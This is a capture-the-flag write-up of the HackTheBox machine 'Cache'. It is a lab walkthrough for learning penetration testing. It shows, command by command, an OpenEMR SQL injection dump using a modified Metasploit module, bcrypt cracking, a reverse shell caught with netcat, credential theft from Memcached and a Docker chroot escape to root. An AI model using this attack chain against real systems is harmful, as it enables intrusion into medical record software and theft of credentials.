HackTheBox - Cache

8 minute read

Summary

Cache
Difficulty: Medium
OS: Linux
Release date: 09-05-2020

Cache was a medium Linux machine which was running an OpenEMR instance. Exploiting an SQL injection flaw allowed me to dump the database, leading to user access. I achieved root access by using a running Docker instance for privilege escalation.

Foothold

An Nmap scan revealed that this machine was running a webserver on port 80.

mick@kali:~/Documents/HackTheBox/Cache$ nmap -sC -sV -Pn -oN nmap_cache 10.10.10.188
Host is up (0.027s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The webpage looked like a personal project.

cache_webpage.png

Navigating to the ‘Login’ page and inspecting the source of the page revealed a set of credentials: ash:H@v3_fun.

cache_webpage_login_creds.png

On the ‘Author’ page, the author states the existence of a project called ‘HMS’.

cache_webpage_author.png

What came to mind immediately was that this webserver might have a subdomain for this project. After adding the necessary entries (‘hms.htb’ and ‘cache.htb’) to /etc/hosts, I discovered that this webserver runs ‘OpenEMR’. OpenEMR is The world’s leading open-source electronic medical record and practice management software.

cache_webpage_openemr.png

Since I was unable to discover which OpenEMR version this was, I decided to check whether Metasploit had modules for OpenEMR.

msf5 > search openemr

Matching Modules
================

   #  Name                                             Disclosure Date  Rank       Check  Description
   -  ----                                             ---------------  ----       -----  -----------
   0  auxiliary/sqli/openemr/openemr_sqli_dump         2019-05-17       normal     Yes    OpenEMR 5.0.1 Patch 6 SQLi Dump
   1  exploit/unix/webapp/openemr_sqli_privesc_upload  2013-09-16       excellent  Yes    OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution
   2  exploit/unix/webapp/openemr_upload_exec          2013-02-13       excellent  Yes    OpenEMR PHP File Upload Vulnerability


msf5 > use 0
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > show options

Module options (auxiliary/sqli/openemr/openemr_sqli_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /openemr         yes       The base path to the OpenEMR installation
   VHOST                       no        HTTP server virtual host

msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > set TARGETURI /
TARGETURI => /
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > set RHOSTS hms.htb
RHOSTS => hms.htb
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > set VHOST hms.htb
VHOST => hms.htb
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > check

[*] Trying to detect installed version
[*] 10.10.10.188:80 - The target appears to be vulnerable.

It appeared that this version of OpenEMR is vulnerable to this exploit. After examining the module’s script I discovered that the module retrieves the OpenEMR version from ‘/admin.php’. I manually confirmed that this version is vulnerable by checking the webpage.

cache_openemr_version.png

Running this Metasploit module, however, was not practical because it was attempting to dump 295 tables.

msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
[*] Running module against 10.10.10.188

[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 295 tables.
[*] Dumping table (1/295): CHARACTER_SETS
[*] Dumping table (2/295): COLLATIONS
[*] Dumping table (3/295): COLLATION_CHARACTER_SET_APPLICABILITY

This would take far too long to run so I modified the script to only list all table names.

def dump_all
    payload = 'version()'
    db_version = exec_payload_and_parse(payload)
    print_status("DB Version: #{db_version}")
    print_status('Enumerating tables, this may take a moment...')
    tables = enumerate_tables
    num_tables = tables.length
    print_status("Identified #{num_tables} tables.")

    skiptables = %w[form_taskman log log_comment_encrypt]
    tables.each_with_index do |table, i|
      if skiptables.include?(table)
        print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
      else
        print_status("Found table (#{i + 1}/#{num_tables}): #{table}")
        #table_data = walk_table(table)
        #save_csv(table_data, table)
      end
    end
    print_status("Dumped all tables to #{Msf::Config.loot_directory}")
  end

Running the module again, after modification, provided the following table names. Especially ‘users’ and ‘users_secure’ were interesting.

msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
[*] Running module against 10.10.10.188

[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 295 tables.
[*] Found table (1/295): CHARACTER_SETS
[*] Found table (2/295): COLLATIONS
[*] Found table (3/295): COLLATION_CHARACTER_SET_APPLICABILITY
[*] Found table (4/295): COLUMNS
[*] Found table (5/295): COLUMN_PRIVILEGES
[*] Found table (6/295): ENGINES
...
[*] Found table (289/295): users
[*] Found table (290/295): users_facility
[*] Found table (291/295): users_secure
...
[*] Found table (294/295): voids
[*] Found table (295/295): x12_partners
[*] Dumped all tables to /home/mick/.msf4/loot
[*] Auxiliary module execution completed

I modified the script again to dump these tables.

def dump_all
    payload = 'version()'
    db_version = exec_payload_and_parse(payload)
    print_status("DB Version: #{db_version}")
    print_status('Enumerating tables, this may take a moment...')
    #tables = enumerate_tables
    tables = ["users", "users_secure"]

    num_tables = tables.length
    print_status("Identified #{num_tables} tables.")

    # These tables are impossible to fetch because they increase each request
    skiptables = %w[form_taskman log log_comment_encrypt]
    tables.each_with_index do |table, i|
      if skiptables.include?(table)
        print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
      else
        print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}")
        table_data = walk_table(table)
        save_csv(table_data, table)
      end
    end
    print_status("Dumped all tables to #{Msf::Config.loot_directory}")
  end
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
[*] Running module against 10.10.10.188

[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 2 tables.
[*] Dumping table (1/2): users
[*] Found primary key: id
[*] Enumerating iteratively: column_name in information_schema.COLUMNS
[*] Enumerated columns
[*] Enumerating iteratively: id in users
[*] Enumerated key_values iteratively
[*] Going through key values
[*] Going through key value 1
[*] Going through column id
[*] Going through column username
[*] Going through column password
...
[*] Dumping table (2/2): users_secure
[*] Found primary key: id
[*] Enumerating iteratively: column_name in information_schema.COLUMNS
[*] Enumerated columns
[*] Enumerating iteratively: id in users_secure
[*] Enumerated key_values iteratively
[*] Going through key values
[*] Going through key value 1
[*] Going through column id
[*] Going through column username
[*] Going through column password
[*] Going through column salt
...
[*] Going through column salt_history2
[*] Dumped all tables to /home/mick/.msf4/loot
[*] Auxiliary module execution completed

Opening the dumped table ‘users_secure’ in SQLite browser revealed a set of credentials.

cache_sqlite.png

Based on this source the ‘$2a$’ at the start of the hash indicates that this is a bcrypt hash, which can be cracked with John.

mick@kali:~/Documents/HackTheBox/Cache$ echo ´$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.´ >> openemr_admin_hash
mick@kali:~/Documents/HackTheBox/Cache$ john -format:bcrypt -wordl:/usr/share/wordlists/rockyou.txt openemr_admin_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxx           (?)
1g 0:00:00:00 DONE (2020-06-28 11:44) 5.000g/s 4320p/s 4320c/s 4320C/s tristan..felipe
Use the "--show" option to display all of the cracked passwords reliably
Session completed

These credentials allowed me to log in and access the OpenEMR dashboard.

cache_webpage_openemr_dashboard.png

Searching for more exploits that apply to this OpenEMR version revealed that this version also allows authenticated remote code execution.

mick@kali:~/Documents/HackTheBox/Cache$ searchsploit openemr
----------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                         |  Path
----------------------------------------------------------------------- ---------------------------------
...
OpenEMR 5.0.1 - Remote Code Execution                                  | php/webapps/48515.py
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions               | linux/webapps/45202.txt
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution                | php/webapps/45161.py
...
----------------------------------------------------------------------- ---------------------------------

Appropriately modifying the script and executing it gave me foothold on the machine.

mick@kali:~$ nc -lvnp 35356
listening on [any] 35356 ...
connect to [10.10.15.137] from (UNKNOWN) [10.10.10.188] 50284
Linux cache 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 15:11:31 up 9 min,  0 users,  load average: 0.00, 0.13, 0.14
USER     TTY      FROM             LOGIN   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1994): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/$

User access

User access was trivial, as using the password found in the Javascript code earlier provided me with use access as ‘Ash’.

www-data@cache:/$ su ash
su: must be run from a terminal
www-data@cache:/$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@cache:/$ su ash
Password: H@v3_fun
ash@cache:/$ whoami
ash
ash@cache:/$ cat ~/user.txt
72282c5b71266a6452aa5439ead8274c

Root access

Root access required additional privilege escalation to the user ‘Luffy’.

Privilege escalation to Luffy

Checking the running processes revealed that Docker was running as root.

ash@cache:/$ ps aux
...
memcache   953  0.0  0.1 425792  4140 ?        Ssl  15:29   0:02 /usr/bin/memcac
root       954  0.1  1.7 934268 69988 ?        Ssl  15:29   0:14 /usr/bin/docker
daemon     955  0.0  0.0  28332  2428 ?        Ss   15:29   0:00 /usr/sbin/atd -
root       962  0.0  0.4 169100 17176 ?        Ssl  15:29   0:00 /usr/bin/python
www-data  2070  0.0  0.7 369932 28432 ?        S    15:31   0:00 /usr/sbin/apach
...

Interestingly, the user ‘Luffy’ is in the Docker group.

ash@cache:/$ cat /etc/group
...
docker:x:999:luffy
...

The goal was then to gain access to the machine as Luffy and escalate privileges from there. After further enumeration I discovered that there’s a Memcached instance running on this machine by looking at all active connections. Memcached is an in-memory key-value store for small chunks of arbitrary data (strings, objects) from results of database calls, API calls, or page rendering.

ash@cache:/$ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 localhost.localdo:mysql 0.0.0.0:*               LISTEN     
tcp        0      0 localhost.localdo:11211 0.0.0.0:*               LISTEN     
tcp        0      0 localhost:domain        0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN  

I connected to, and interacted with, Memcached using telnet. To retrieve information from Memcached I used this source as reference.

ash@cache:~$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
get user
VALUE user 0 5
luffy
END
get passwd
VALUE passwd 0 9
0n3_p1ec3
END

These credentials successfully gave me access to Luffy.

ash@cache:~$ su luffy
Password: 0n3_p1ec3

luffy@cache:/home/ash$ 

Privilege escalation to root

GTFObins had a nice one-liner for privilege escalation using Docker. This required me to know the name of the Docker image.

luffy@cache:/home/ash$ docker images
docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        11 months ago       64.2MB

I then successfully managed to gain root access.

luffy@cache:/home/ash$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
# whoami
root
# cat /root/root.txt
c33a2e2ffa9ed0bcf52b628c46a39879
#